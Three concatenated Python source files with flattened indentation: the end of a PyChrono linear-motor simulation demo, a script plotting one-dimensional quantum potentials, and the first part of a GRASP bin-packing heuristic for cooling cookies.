mF2 =chrono.ChFunction_Sine(0, # phase
0.5, # frequency
slider3.GetMass() * 1.6 * pow(0.5 * chrono.CH_C_2PI, 2) ) # amplitude
# motor3.SetForceFunction(mF2) # uncomment to test this
# EXAMPLE B.4
#
# As before, use a ChLinkMotorLinearForce, but this time compute
# F by a user-defined procedure (as a callback). For example, here we write a very
# basic PID control algorithm that adjusts F trying to chase a sinusoidal position.
positionB4 = chrono.ChVectorD(0, 0, 0)
guide4, slider4 = CreateSliderGuide(material, mphysicalSystem, positionB4)
# Create the linear motor
motor4 = chrono.ChLinkMotorLinearForce()
# Connect the guide and the slider and add the motor to the system:
motor4.Initialize(slider4, # body A (slave)
guide4, # body B (master)
chrono.ChFrameD(positionB4)) # motor frame, in abs. coords
mphysicalSystem.Add(motor4)
# Create a ChFunction that computes F by a user-defined algorithm, as a callback.
# One quick option would be to inherit from the ChFunction base class, and implement the Get_y()
# function by putting the code you wish, as explained in demo_CH_functions.cpp. However this has some
# limitations. A more powerful approach is to inherit from ChFunction_SetpointCallback, that automatically
# computes the derivatives, if needed, by BDF etc. Therefore:
# 1. You must inherit from the ChFunction_SetpointCallback base class, and implement the SetpointCallback()
# function by putting the code you wish. For example something like the follow:
class MyForceClass (chrono.ChFunction_SetpointCallback) :
def __init__(self, amp, freq, prop, der, ltime, lerr, f, motor) :
""" THIS IS CRUCIAL FOR CORRECT INITIALIZATION: Initialize all the three in down-up order """
chrono.ChFunction_Setpoint.__init__(self)
chrono.ChFunction_SetpointCallback.__init__(self)
# Here some specific data to be used in Get_y(),
# add whatever you need, ex:
self.setpoint_position_sine_amplitude = amp
self.setpoint_position_sine_freq = freq
self.controller_P = prop # for our basic PID
self.controller_D = der # for our basic PID
self.last_time = ltime
self.last_error = lerr
self.F = f
self.linearmotor= motor # may be useful later
# Here we will compute F(t) by emulating a very basic PID scheme.
# In practice, it works like a callback that is executed at each time step.
# Implementation of this function is mandatory!!!
def SetpointCallback(self, x) :
# Trick: in this PID example, we need the following if(..) to update PID
# only when time changes (as the callback could be invoked more than once per timestep):
time = x
if (time > self.last_time) :
dt = time - self.last_time
# for example, the position to chase is this sine formula:
setpo= self.setpoint_position_sine_amplitude * m.sin(self.setpoint_position_sine_freq * chrono.CH_C_2PI * x)
error = setpo- self.linearmotor.GetMotorPos()
error_dt = (error - self.last_error) / dt
# for example, finally compute the force using the PID idea:
self.F = self.controller_P * error + self.controller_D * error_dt
self.last_time = time
self.last_error = error
return self.F
# def SetSetpoint(self,y,x):
# chrono.ChFunction_Setpoint.SetSetpoint(self,y,x)
# def Update(self, x):
# y = self.SetpointCallback(x)
# self.SetSetpoint(y, x)
# 2. Create the function from the custom class
mFcallback = MyForceClass(1.6,0.5,42000,1000,0,0,0,motor4)
# 3. Let the motor use our custom force:
motor4.SetForceFunction(mFcallback)
# EXAMPLE B.5
#
#
# - class: ChLinkMotorLinearDriveline
# - type: linear motor
# - control: delegated to an embedded user-defined driveline/powertrain
#
# This is the most powerful linear actuator type. It allows the creation of
# generic 1D powertrain inside this 3D motor.
# Powertrains/drivelines are defined by connecting a variable number of
# 1D objects such as ChShaft, ChClutch, ChShaftsMotor, etc. In this way, for
# example, you can represent a drive+flywheel+reducer+pulley system, hence taking into account
# of the inertia of the flywheel and the elasticity of the synchro belt without
# the complication of adding full 3D shapes that represents all parts.
# The 1D driveline is "interfaced" to the two connected threedimensional
# parts using two "inner" 1D shafts, each translating as the connected 3D part
# it is up to the user to build the driveline that connects those two shafts.
# Most often the driveline is like a graph starting at inner shaft 2 and ending
# at inner shaft 1.
# Note: in the part 2 there is an additional inner shaft that operates on rotation
# this is needed because, for example, maybe you want to model a driveline like a
# drive+screw you will anchor the drive to part 2 using this rotational shaft so
# reaction torques arising because of inner flywheel accelerations can be transmitted to this shaft.
positionB5 = chrono.ChVectorD(0, 0, 1)
guide5, slider5 = CreateSliderGuide(material, mphysicalSystem, positionB5)
# Create the motor
motor5 = chrono.ChLinkMotorLinearDriveline()
# Connect the rotor and the stator and add the motor to the system:
motor5.Initialize(slider5, # body A (slave)
guide5, # body B (master)
chrono.ChFrameD(positionB5) ) # motor frame, in abs. coords
mphysicalSystem.Add(motor5)
# You may want to change the inertia of 'inner' 1D shafts, ("translating" shafts: each has default 1kg)
# Note: they adds up to 3D inertia when 3D parts translate about the link shaft.
# Note: do not use too small values compared to 3D inertias: it might negatively affect
# the precision of some solvers if so, rather diminish the 3D inertia of guide/slider parts and add to these.
motor5.GetInnerShaft1lin().SetInertia(3.0) # [kg]
motor5.GetInnerShaft2lin().SetInertia(3.0) # [kg]
motor5.GetInnerShaft2rot().SetInertia(0.8) # [kg/m^2]
# Now create the driveline. We want to model a drive+reducer sytem.
# This driveline must connect "inner shafts" of s1 and s2, where:
# s1, is the 3D "slider5" part B (ex. a gantry robot gripper) and
# s2, is the 3D "guide5" part A (ex. a gantry robot base).
# In the following scheme, the motor is [ DRIVE ], the reducer is [ RACKPINION ],
# the shafts ( shown with symbol || to mean inertia) are:
# S1: the 1D inner shaft for s1 robot arm (already present in ChLinkMotorLinearDriveline)
# S2: the 1D inner shaft for s2 robot base (already present in ChLinkMotorLinearDriveline)
# B : the shaft of the electric drive
# Note that s1 and s2 are translational degrees of freedom, differently
# from ChLinkMotorLinearDriveline.
#
# S2rot B S1lin
# <--||---[ DRIVE ]---||-----[ RACKPINION ]----||-. 3d
# 3d < [ ] s1
# s2 < S2lin [ ]
# <--||----------------------[ ]
#
# Tell the motor that the inner shaft 'S2rot' is Z, orthogonal to
# the X direction of the guide (default was X, as for screw actuators)
motor5.SetInnerShaft2RotDirection(chrono.VECT_Z) # in link coordinates
# Create 'B', a 1D shaft. This is the shaft of the electric drive, representing its inertia.
my_shaftB = chrono.ChShaft()
my_shaftB.SetInertia(0.33) # [kg/m^2]
mphysicalSystem.Add(my_shaftB)
# Create 'DRIVE', the hispeed motor - as a simple example use a 'imposed speed' motor: this
# is the equivalent of the ChLinkMotorRotationAngle, but for 1D elements:
my_driveli = chrono.ChShaftsMotorAngle()
my_driveli.Initialize(my_shaftB, # B , the rotor of the drive
motor5.GetInnerShaft2rot() ) # S2rot, the stator of the drive
mphysicalSystem.Add(my_driveli)
# Create a angle(time) function. It could be something as simple as
# my_functangle = chrono.ChFunction_Ramp>(0, 180)
# but here we'll rather do a back-forth motion, made with a repetition of a sequence of 4 basic functions:
my_functsequence = chrono.ChFunction_Sequence()
my_funcsigma1 = chrono.ChFunction_Sigma(180, 0, 0.5) # diplacement, t_start, t_end
my_funcpause1 = chrono.ChFunction_Const(0)
my_funcsigma2 = chrono.ChFunction_Sigma(-180, 0, 0.3) # diplacement, t_start, t_end
my_funcpause2 = chrono.ChFunction_Const(0)
my_functsequence.InsertFunct(my_funcsigma1, 0.5, 1.0, True) # fx, duration, weight, enforce C0 continuity
my_functsequence.InsertFunct(my_funcpause1, 0.2, 1.0, True) # fx, duration, weight, enforce C0 continuity
my_functsequence.InsertFunct(my_funcsigma2, 0.3, 1.0, True) # fx, duration, weight, enforce C0 continuity
my_functsequence.InsertFunct(my_funcpause2, 0.2, 1.0, True) # fx, duration, weight, enforce C0 continuity
my_functangle = chrono.ChFunction_Repeat()
my_functangle.Set_fa(my_functsequence)
my_functangle.Set_window_length(0.5 + 0.2 + 0.3 + 0.2)
my_driveli.SetAngleFunction(my_functangle)
# Create the RACKPINION.
# It will connect three parts:
# - S2lin, the carrier (here the truss) to transmit reaction force,
# - B, the in (rotational) shaft,
# - S1lin, the out (translational) shaft.
my_rackpinion = chrono.ChShaftsPlanetary()
my_rackpinion.Initialize(motor5.GetInnerShaft2lin(), # S2lin, the carrier (truss)
my_shaftB, # B, the input shaft
motor5.GetInnerShaft1lin() ) # S1lin, the output shaft
my_rackpinion.SetTransmissionRatios(-1, -1.0 / 100.0, 1)
mphysicalSystem.Add(my_rackpinion)
# Btw: later, if you want, you can access / plot speeds and
# torques for whatever part of the driveline by putting lines like the following
# in the while() {...} simulation loop:
#
# GetLog() << " 1D shaft 'B' angular speed: " << my_shaftB.GetPos_dt() << " [rad/s] \n"
# GetLog() << " 1D Drive angular speed: rot-stat " << my_driveli.GetMotorRot_dt() << " [rad/s] \n"
# GetLog() << " 1D Drive torque: " << my_driveli.GetMotorTorque() << " [Ns] \n"
# GetLog() << " 3D actuator speed: rot-stat " << motor5.GetMotorPos() << " [rad/s] \n"
# GetLog() << " 3D actuator force: " << motor5.GetMotorForce() << " [Ns] \n"
# etc.
# EXAMPLE B.6
#
# - class: ChLinkMotorLinearPosition
# - type: linear motor
# - control: impose a position by continuously changing it during the while{} simulation
#
# We use again the ChLinkMotorLinearPosition as in EXAMPLE B.1, but
# this time we change its position using a "brute force" approach, that is:
# we put a line in the while{...} simulation loop that continuously changes the
# position by setting a value from some computation.
# Well: here one might be tempted to do motor6.SetMotionFunction(myconst) where
# myconst is a ChFunction_Const object where you would continuously change the value
# of the constant by doing myconst.Set_yconst() in the while{...} loop this would
# work somehow but it would miss the derivative of the function, something that is used
# in the guts of ChLinkMotorLinearPosition. To overcome this, we'll use a ChFunction_Setpoint
# function, that is able to guess the derivative of the changing setpoby doing numerical
# differentiation each time you call myfunction.SetSetpoint().
# Note: A more elegant solution would be to inherit our custom motion function
# from ChFunction_SetpointCallback as explained in EXAMPLE B.4, and then setting
# motor6.SetMotionFunction(mycallback) this would avoid polluting the while{...} loop
# but sometimes is faster to do the quick & dirty approach of this example.
positionB6 = chrono.ChVectorD(0, 0, 2)
guide6, slider6 = CreateSliderGuide(material, mphysicalSystem, positionB6)
# Create the linear motor
motor6 = chrono.ChLinkMotorLinearPosition()
# Connect the guide and the slider and add the motor to the system:
motor6.Initialize(slider6, # body A (slave)
guide6, # body B (master)
chrono.ChFrameD(positionB6) ) # motor frame, in abs. coords
mphysicalSystem.Add(motor6)
# Create a ChFunction to be used for the ChLinkMotorLinearPosition
# Note! look later in the while{...} simulation loop, we'll continuously
# update its value using motor6setpoint.SetSetpoint()
motor6setpoint= chrono.ChFunction_Setpoint()
# Let the motor use this motion function:
motor6.SetMotionFunction(motor6setpoint)
#
# THE VISUALIZATION SYSTEM
#
# Create the Irrlicht visualization (open the Irrlicht device,
# bind a simple user interface, etc. etc.)
application = chronoirr.ChIrrApp(mphysicalSystem, "Motors", chronoirr.dimension2du(800, 600), False)
# Easy shortcuts to add camera, lights, logo and sky in Irrlicht scene:
application.AddTypicalLogo()
application.AddTypicalSky()
application.AddTypicalLights()
application.AddTypicalCamera(chronoirr.vector3df(1, 3, -7))
application.AddLightWithShadow(chronoirr.vector3df(20.0, 35.0, -25.0), chronoirr.vector3df(0, 0, 0), 55, 20, 55, 35, 512,
chronoirr.SColorf(0.6, 0.8, 1.0))
# Use this function for adding a ChIrrNodeAsset to all items
# Otherwise use application.AssetBind(myitem) on a per-item basis.
application.AssetBindAll()
# Use this function for 'converting' assets into Irrlicht meshes
application.AssetUpdateAll()
# This is to enable shadow maps (shadow casting with soft shadows) in Irrlicht
# for all objects (or use application.AddShadow(..) for enable shadow on a per-item basis)
application.AddShadowAll()
#
# THE SOFT-REAL-TIME CYCLE
#
# Modify some setting of the physical system for the simulation, if you want
solver = chrono.ChSolverPSOR()
solver.SetMaxIterations(50)
mphysicalSystem.SetSolver(solver)
application.SetTimestep(0.005)
application.SetTryRealtime(True)
while application.GetDevice().run() :
application.BeginScene(True, True, chronoirr.SColor(255, 140, 161, 192))
application.DrawAll()
# Example B.6 requires the setpoto be changed in the simulation loop:
# for example use a clamped sinusoid, just for fun:
t = mphysicalSystem.GetChTime()
Sp = chrono.ChMin(chrono.ChMax(2.6 * m.sin(t * 1.8), -1.4), 1.4)
motor6setpoint.SetSetpoint(Sp, t)
application.DoStep()
application.EndScene()
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scripts/plot_one_dim_ho.py | Benedicte/quantum-systems | 8 | 1613660 | import numpy as np
import matplotlib.pyplot as plt
from quantum_systems import ODQD
def plot_one_body_system(system):
for i in range(system.l // 2):
plt.plot(
system.grid,
system.spf[2 * i].real ** 2 + system.eigen_energies[i],
label=fr"$\psi_{i}(x)$",
)
plt.plot(system.grid, system.potential(system.grid), label=r"$v(x)$")
plt.legend(loc="best")
plt.show()
n = 2
l = 20
grid_length = 100
num_grid_points = 2001
omega = 1
odho = ODQD(n, l, grid_length, num_grid_points)
odho.setup_system(potential=ODQD.HOPotential(omega))
plot_one_body_system(odho)
length_of_dw = 5
dw = ODQD(n, l, 6, num_grid_points)
dw.setup_system(potential=ODQD.DWPotential(omega, length_of_dw))
plot_one_body_system(dw)
weight = 1
center = 0
deviation = 2.5
gauss = ODQD(n, l, 20, num_grid_points)
gauss.setup_system(
potential=ODQD.GaussianPotential(weight, center, deviation, np=np)
)
plot_one_body_system(gauss)
tw_gauss_potential = lambda x: (
ODQD.GaussianPotential(weight, center, deviation, np)(x)
+ ODQD.GaussianPotential(weight, center - 10, deviation, np)(x)
+ ODQD.GaussianPotential(weight, center + 10, deviation, np)(x)
)
tw_gauss = ODQD(n, l, 30, num_grid_points)
tw_gauss.setup_system(potential=tw_gauss_potential)
plot_one_body_system(tw_gauss)
dw_smooth = ODQD(n, l, grid_length, num_grid_points)
dw_smooth.setup_system(potential=ODQD.DWPotentialSmooth(a=5))
plot_one_body_system(dw_smooth)
helium_ion = ODQD(n, l, grid_length, num_grid_points, a=0.7408)
helium_ion.setup_system(potential=ODQD.AtomicPotential(Za=2, c=0.7408 ** 2))
plot_one_body_system(helium_ion)
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SampleScripts/grasp.py | kyspencer/GAMMA-PC-A-Greedy-Memetic-Algorithm-for-Storing-Cooling-Objects | 0 | 27218 | # grasp.py
# This script implements the GRASP heuristic for the dynamic bin packing
# problem.
# Author: <NAME>
from __future__ import print_function
import numpy as np
import random
import solutions_dynamic as solmaker
import sys
from copy import deepcopy
from itertools import combinations
from math import ceil, sqrt
from operator import attrgetter
class BPP:
# This class groups the bin packing problem information and performs
# the GRASP operations.
def __init__(self, n, cookies, moop):
self.beta = 5 # Cardinality restriction
self.n = int(n) # Number of cookies to sort
self.cookies = cookies # dictionary of item objects
self.moop = moop # Multiobjective problem class
self.lb = 0 # initialize lower bound
self.calclowerbound()
def generate_newsol(self, index, p_ls1, p_ls2, *args):
# This module creates an instance of a NewSolution class and
# performs the generate_newsol procedure
newbie = NewSolution(self.beta, self.n, self.cookies, self.moop)
newsol = newbie.make_newsol(index, *args)
newsol = self.checkandfit(newsol)
p = index + 1 # ID number for first neighbor
rannum = random.random()
if rannum < p_ls1:
if newsol.getopenbins() > self.lb:
p, neighbors = self.ls1(p, 1, newsol)
else:
p, neighbors = self.bin_mutation(p, 1, newsol)
elif rannum < p_ls2:
p, neighbors = self.ls2(p, 1, newsol)
else:
p, neighbors = self.ls3(p, 1, newsol)
if neighbors:
winner = self.test_domination(newsol, neighbors[0])
return p, winner
return p, newsol
def checkandfit(self, solution):
# This function checks the feasibility of a solution and calculates fitness
# values.
solution = self.moop.calcfeasibility(solution)
checkformismatch(solution.getx(), solution.getvlrep())
fits = self.moop.calcfits(solution)
solution.updatefitvals(fits)
return solution
def test_domination(self, solution, neighbor):
# This function determines if neighbor dominates solution.
u = solution.getfits()
v = neighbor.getfits()
if dom2(v, u):
return neighbor
else:
return solution
def ls_time(self, solution, rcl_t):
# This function seeks to find a better time to fill bins
# Start by finding the dynamic residual matrix for the cooling rack
neighbor = deepcopy(solution)
tfill = neighbor.gettfill()
i_tlowtohigh = list(np.argsort(tfill[:neighbor.openbins], axis=0))
for i in i_tlowtohigh:
neighbor, rcl_t = self.find_new_tfilli(i, neighbor, rcl_t)
# Check if modified solution is nondominated
neighbor = self.checkandfit(neighbor)
winner = self.test_domination(solution, neighbor)
return winner
def find_new_tfilli(self, i, solution, rcl_t):
# This function determines a new time for box i to be filled and updates
# the RCLTime instance
vlrep = solution.getvlrep()
tfill = solution.gettfill()
told = tfill[i]
tmin = self.get_box_tmin(vlrep[i])
kwargs = {'mode': 'hload', 'nmove': len(vlrep[i]), 'told': told}
t, rcl_t = self.get_feasible_tfilli(rcl_t, tmin, **kwargs)
if t:
solution.edit_tfilli(i, t)
# Adapt Greedy Function
rcl_t.adapt_changetime(told, t, len(vlrep[i]))
return solution, rcl_t
def get_feasible_tfilli(self, rcl_t, tmin, **kwargs):
# This function locates a new value for tfill[i] that doesn't violate
# rack or fill limits
# Find new time for box i
t_new, p_t, rcl_t = self.find_new_time_value(rcl_t, tmin, **kwargs)
if not t_new:
return None, rcl_t
kappa = 0 # Counter to exit loop
# Check if possible to fill in period
while rcl_t.res_fill[p_t] < 1:
if kappa == 10:
return None, rcl_t
# If not possible, find new time value
t_new, p_t, rcl_t = self.find_new_time_value(rcl_t, tmin, **kwargs)
if not t_new:
return None, rcl_t
kappa += 1
# If returning t_new to open bin, reduce fill capacity by 1
rcl_t.res_fill[p_t] -= 1
return t_new, rcl_t
def get_box_tmin(self, vlrepi):
# Find minimum time for box i
boxi_contents = {k: v for k, v in self.cookies.items() if k in vlrepi}
maxbatch = max(boxi_contents.values(), key=attrgetter('batch')).batch
tmin = maxbatch * 600
return tmin
def find_new_time_value(self, rcl_t, tmin, **kwargs):
# This module retrieves a new time value and also returns which period
# it belongs to
t_new = rcl_t.get_new_t(tmin, **kwargs)
if not t_new:
return None, None, rcl_t
t_p = self.find_t_in_fill_periods(t_new, rcl_t)
return t_new, t_p, rcl_t
def find_t_in_fill_periods(self, t, rcl_t):
# If the new time value is beyond the current fill periods, extend
while t > rcl_t.t_t[-1]:
rcl_t.extend_fill_periods()
# Find the period containing t_new
tlist = np.where(t >= np.array(rcl_t.t_t))[0]
return tlist[-1]
def ls1(self, p, numls, solution):
# Heuristic to locate a better solution in terms of the first objective:
# minimizing the number of bins in use
k = 0
neighbors = []
searchfrom = solution
while k < numls:
coolneighbor, rcl_t = self.ls1_loading(searchfrom)
if coolneighbor:
k += 1
coolneighbor = self.ls_time(coolneighbor, rcl_t)
coolneighbor.updateid(p)
p += 1
neighbors.append(coolneighbor)
searchfrom = coolneighbor
else:
k = numls
return p, neighbors
def ls2(self, p, numls, solution):
# Heuristic to locate a better solution in terms of the second objective:
# minimizing the weighted average initial heat in a box
# p - current id number for new solution
# numls - number of neighbors to find during local search
# Returns updated p and list of neighbors
k = 0
neighbors = []
searchfrom = solution
while k < numls:
k, coolneighbor, rcl_t = self.ls2_loading(k, searchfrom)
if coolneighbor:
coolneighbor = self.ls_time(coolneighbor, rcl_t)
coolneighbor.updateid(p)
p += 1
neighbors.append(coolneighbor)
searchfrom = coolneighbor
else:
k = numls
return p, neighbors
def ls3(self, p, numls, solution):
# Heuristic to locate a better solution in terms of the third objective:
# minimizing the maximum time to move to store front.
k = 0
neighbors = []
searchfrom = solution
while k < numls:
k, coolneighbor, rcl_t = self.ls3_loading(k, searchfrom)
if coolneighbor:
coolneighbor = self.ls_time(coolneighbor, rcl_t)
coolneighbor.updateid(p)
p += 1
neighbors.append(coolneighbor)
searchfrom = coolneighbor
else:
k = numls
return p, neighbors
def ls1_loading(self, searchfrom):
# This function attempts to empty the least filled bin and move its
# cookies into available boxes.
u = searchfrom.getfits()
vlrep = searchfrom.getvlrep()
r, rcl_t = self.getresiduals(vlrep, searchfrom.gettfill())
copy = deepcopy(searchfrom)
half = len(vlrep) // 2
for iloop in range(half):
# Find the emptiest bin's index number
lengths = [len(i) for i in copy.getvlrep()]
i = np.argmin(np.array(lengths))
copy, r, rcl_t = self.empty_bin(i, copy, r, rcl_t)
# If a nondominated solution wasn't found, return nothing
copy = self.checkandfit(copy)
v = copy.getfits()
if not dom2(u, v):
return copy, rcl_t
return None, rcl_t
def empty_bin(self, i, copy, r, rcl_t):
# This function moves items in box i to other boxes
for j in list(copy.getvlrep()[i]):
# Find rcl_bins
tfill = copy.gettfill()
rcl_bins = self.ls1_makercl(i, j, r, rcl_t, tfill)
if len(rcl_bins) == 0:
return copy, r, rcl_t
# Pick random bin
inew = random.choice(rcl_bins)
# Move cookie to new bin
copy.moveitem(i, j, inew)
r = self.update_spaceresiduals(r, i, inew)
r[i, 1], r[inew, 1] = rcl_t.adapt_movebins(tfill[i], tfill[inew])
return copy, r, rcl_t
def ls1_makercl(self, iold, j, r, rcl_t, tfill):
# This function returns the restricted candidate list for cookie
# j to move into based on the dot product strategy
# Set weights for the dot product array (1/boxcap, 1/coolrackcap)
weights = [1.0 / self.moop.boxcap, 1.0 / self.moop.coolrack]
# The cookie should not move into a box that is filled until after
# it is done baking
tmin = self.cookies.get(j).getbatch() * 600
tmax = rcl_t.get_tmax(tmin, 1)
options_byt = [i for i in range(self.n) if tfill[i] > tmin]
if tfill[iold] != tmin:
options_byt.remove(iold)
# Form dot product array
dparray = np.zeros(self.n)
for i in options_byt:
if tfill[i] <= tmax:
# Make sure there is space available
if r[i, 0] > 1:
tk = rcl_t.find_t_in_timeline(tfill[i])
# Filling early will reduce onrack for all after time[tk]
onrack = np.subtract(self.moop.coolrack, rcl_t.space[tk:])
maxonrack_fromtk = max(onrack)
dparray[i] = weights[0] * r[i, 0] + weights[1] * maxonrack_fromtk
# Max fill
if len(np.nonzero(dparray)[0]) > self.beta:
options = list(np.argsort(-dparray)[:self.beta])
return options
else:
options = list(np.nonzero(dparray)[0])
return options
def ls2_loading(self, k, searchfrom):
# This function finds the restricted candidate list and tries to move
# cookies toward more favorable configurations to minimize the weighted avg
u = searchfrom.getfits()
r, rcl_t = self.getresiduals(searchfrom.getvlrep(), searchfrom.gettfill())
copy = deepcopy(searchfrom)
hotbins = np.argsort(searchfrom.getq0bins())
for s in range(searchfrom.openbins):
i = hotbins[-s - 1]
vlrep = copy.getvlrep()
# If there is only one item in the box, no point in moving
if len(vlrep[i]) < 2:
return k, None, rcl_t
rcl_j = self.ls2_makercl(i, vlrep)
k, newsol, rcl_t = self.search_rclj(k, i, copy, u, r, rcl_j, rcl_t)
if newsol:
return k, newsol, rcl_t
# If a nondominated solution wasn't found, return nothing
return k, None, rcl_t
def ls2_makercl(self, i, vlrep):
# This function returns the restricted candidate list for local search 2
# Restricted candidate list
binkeys = list(vlrep[i])
avglen = averageLen(vlrep)
nrcl_min = min(len(binkeys) - 1, self.beta)
nrcl = max(len(binkeys) - avglen, nrcl_min)
rcl_j = random.sample(binkeys, nrcl)
return rcl_j
def ls3_loading(self, k, searchfrom):
# This function finds the restricted candidate list for bin i and tries to
# move cookies to find a new nondominated solution. If unsuccessful, moves
# to a new bin
u = searchfrom.getfits()
r, rcl_t = self.getresiduals(searchfrom.getvlrep(), searchfrom.gettfill())
copy = deepcopy(searchfrom)
latebins = np.argsort(searchfrom.gettavail(), axis=0)
for s in range(searchfrom.openbins):
i = latebins[-s - 1]
vlrep = copy.getvlrep()
# If there is only one item in the box, no point in moving
if len(vlrep[i]) < 2:
return k, None, rcl_t
# Restricted candidate list
rcl_j = self.ls3_makercl(i, vlrep)
k, newsol, rcl_t = self.search_rclj(k, i, copy, u, r, rcl_j, rcl_t)
if newsol:
return k, newsol, rcl_t
# If a nondominated solution wasn't found, return nothing
return k, None, rcl_t
def ls3_makercl(self, i, vlrep):
# This function returns the restricted candidate list for local search 3
# Restricted candidate list
binkeys = list(vlrep[i])
n_rclj = int(0.5 * len(binkeys))
rcl_j = binkeys[-n_rclj - 1: -1]
return rcl_j
def search_rclj(self, k, i, solution, u, r, rcl_j, rcl_t):
# This function moves cookies into new boxes until either it finds a new
# nondominated solution or it runs out of candidates from this solution
for m in range(len(rcl_j)):
k += 1
j = random.choice(rcl_j)
rcl_j.remove(j)
r, rcl_t, solution = self.lsmove(i, j, r, rcl_t, solution)
# Check if modified solution is nondominated
solution = self.checkandfit(solution)
v = solution.getfits()
if not dom2(u, v):
return k, solution, rcl_t
return k, None, rcl_t
def lsmove(self, i, j, r, rcl_t, solution):
# This function determines where cookie j should move to
m = solution.getopenbins()
tfill = solution.gettfill()
# Gather bin options and pick new bin for the move
ilist = self.move_options(j, m, r, rcl_t, tfill)
inew = random.choice(ilist)
# Open a new bin or move cookie to a new bin
if inew == m:
tmin = self.get_box_tmin([j])
kwargs = {'mode': 'hload'}
t, rcl_t = self.get_feasible_tfilli(rcl_t, tmin, **kwargs)
if t:
solution.opennewbin(i, j, round(t, 1))
r[inew, 0] = self.moop.boxcap
r[inew, 1] = rcl_t.adapt_greedy_function_newbin(t)
else:
return r, rcl_t, solution
else:
solution.moveitem(i, j, inew)
r[i, 1], r[inew, 1] = rcl_t.adapt_movebins(tfill[i], tfill[inew])
r = self.update_spaceresiduals(r, i, inew)
return r, rcl_t, solution
def move_options(self, j, m, r, rcl_t, tfill):
# This function retrieves a candidate list for moving a cookie.
bcookiej = self.cookies.get(j).getbatch() # cookie batch number
tmax = rcl_t.get_tmax(bcookiej * 600, 1)
i_rlowtohigh = np.argsort(r[:m, 0], axis=0)
# This module performs the sorting for module ll.
for i in range(m):
# Find open bin with max. residual value, moving backward thru i_rlowtohigh
lsi = i_rlowtohigh[-1 - i]
if tfill[lsi] <= tmax:
pack = packable(r[lsi, :], bcookiej, tfill[lsi])
if pack:
return [m, lsi]
# If least loaded bin won't fit item, need to open new bin.
return [m]
def bin_mutation(self, p, numls, solution):
# Heuristic to locate a better solution in terms of the first objective:
# minimizing the number of bins.
k = 0
neighbors = []
searchfrom = solution
while k < numls:
k, coolneighbor, rcl_t = self.select_mutation_operation(k, searchfrom)
if coolneighbor:
coolneighbor.updateid(p)
coolneighbor = self.ls_time(coolneighbor, rcl_t)
p += 1
neighbors.append(coolneighbor)
searchfrom = coolneighbor
else:
k = numls
return p, neighbors
def select_mutation_operation(self, k, searchfrom):
# This function selects the mutation operator
vlrep = searchfrom.getvlrep()
avg_bin_size = averageLen(vlrep)
too_small_lengths = [i for i in vlrep if 2 * len(i) <= avg_bin_size]
if too_small_lengths:
k, coolneighbor, rcl_t = self.move_cookies(k, searchfrom)
else:
rannum = random.random()
if rannum < 0.50:
k, coolneighbor, rcl_t = self.part_swap(k, searchfrom)
else:
k, coolneighbor, rcl_t = self.cookie_swap(k, searchfrom)
return k, coolneighbor, rcl_t
def time_mutation_by_heat(self, solution, rcl_t):
# This function tries a new time value for the initial hottest bin to
# see if that helps
tfill = solution.gettfill()
q0_bybin = solution.getq0bins()[:solution.getopenbins()]
i_hot_list = np.argsort(q0_bybin)
i_hot = i_hot_list[-1]
told = tfill[i_hot]
kwargs = {'mode': 'hload', 'nmove': len(solution.vlrep[i_hot])}
t_new, rcl_t = self.get_feasible_tfilli(rcl_t, told - 5.0, **kwargs)
if t_new:
neighbor = deepcopy(solution)
neighbor.edit_tfilli(i_hot, t_new)
# Adapt Greedy Function
rcl_t.adapt_changetime(told, t_new, len(neighbor.vlrep[i_hot]))
# Check if modified solution is nondominated
neighbor = self.checkandfit(neighbor)
solution = self.test_domination(solution, neighbor)
return solution
def split_bin(self, solution, rcl_t):
# This function splits the highest capacity bin into two boxes.
vlrep = solution.getvlrep()
i = self.getmaxbin(vlrep)
# Get random place to split bin
jsplit = random.randrange(1, len(vlrep[i]))
newbin = list(vlrep[i][jsplit:])
# Open new bin with feasible time value
tmin = self.get_box_tmin(newbin)
kwargs = {'mode': 'hload', 'nmove': len(newbin)}
t_new, rcl_t = self.get_feasible_tfilli(rcl_t, tmin, **kwargs)
if t_new:
tfill = solution.gettfill()
solution.opennewbin(i, newbin[0], round(t_new, 1))
inew = solution.getopenbins() - 1
rcl_t.adapt_greedy_function_newbin(t_new, add=0)
rcl_t.adapt_movebins(tfill[i], t_new)
if len(newbin) > 1:
for j in newbin[1:]:
solution.moveitem(i, j, inew)
rcl_t.adapt_movebins(tfill[i], tfill[inew])
return solution, rcl_t
def cookie_swap(self, k, searchfrom):
# This function selects two random bins and tries to swap cookies between
# them. If unsuccessful, it splits the highest capacity bin.
u = searchfrom.getfits()
r, rcl_t = self.getresiduals(searchfrom.getvlrep(), searchfrom.gettfill())
copy = deepcopy(searchfrom)
for s in range(searchfrom.openbins):
mode = random.choice(['random', 'moveheat', 'movelate'])
i1, i2 = self.select_two_bins(copy, mode)
if not i2:
newsol, rcl_t = self.split_bin(copy, rcl_t)
else:
kwargs = {'i1': i1, 'i2': i2, 'mode': mode}
newsol, rcl_t = self.perform_cookie_swap(copy, rcl_t, **kwargs)
# Will return None if it's dominated by vector u
nondominated = self.check4nondomination(u, newsol)
k += 1
if nondominated:
return k, newsol, rcl_t
# If a nondominated solution wasn't found, return nothing
return k, None, rcl_t
def perform_cookie_swap(self, solution, rcl_t, i1, i2, mode):
# This function performs the part swap between box i1 and i2
tfill = solution.gettfill()
vlrep = solution.getvlrep()
# Get cookies to swap
bini1_options = [j for j in vlrep[i1] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i2]]
bini2_options = [j for j in vlrep[i2] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i1]]
if mode == 'moveheat':
j1 = bini1_options[-1]
j2 = bini2_options[0]
else:
j1 = random.choice(bini1_options)
j2 = random.choice(bini2_options)
solution.moveitem(i1, j1, i2)
solution.moveitem(i2, j2, i1)
return solution, rcl_t
def part_swap(self, k, searchfrom):
# This function selects two random bins and tries to swap cookies between
# them. If unsuccessful, it splits the highest capacity bin.
u = searchfrom.getfits()
r, rcl_t = self.getresiduals(searchfrom.getvlrep(), searchfrom.gettfill())
copy = deepcopy(searchfrom)
for s in range(searchfrom.openbins):
mode = random.choice(['random', 'moveheat', 'movelate'])
i1, i2 = self.select_two_bins(copy, mode)
if not i2:
newsol, rcl_t = self.split_bin(copy, rcl_t)
else:
kwargs = {'i1': i1, 'i2': i2, 'mode': mode}
newsol, rcl_t = self.perform_part_swap(copy, rcl_t, **kwargs)
# Will return None if it's dominated by vector u
nondominated = self.check4nondomination(u, newsol)
k += 1
if nondominated:
return k, newsol, rcl_t
# If a nondominated solution wasn't found, return nothing
return k, None, rcl_t
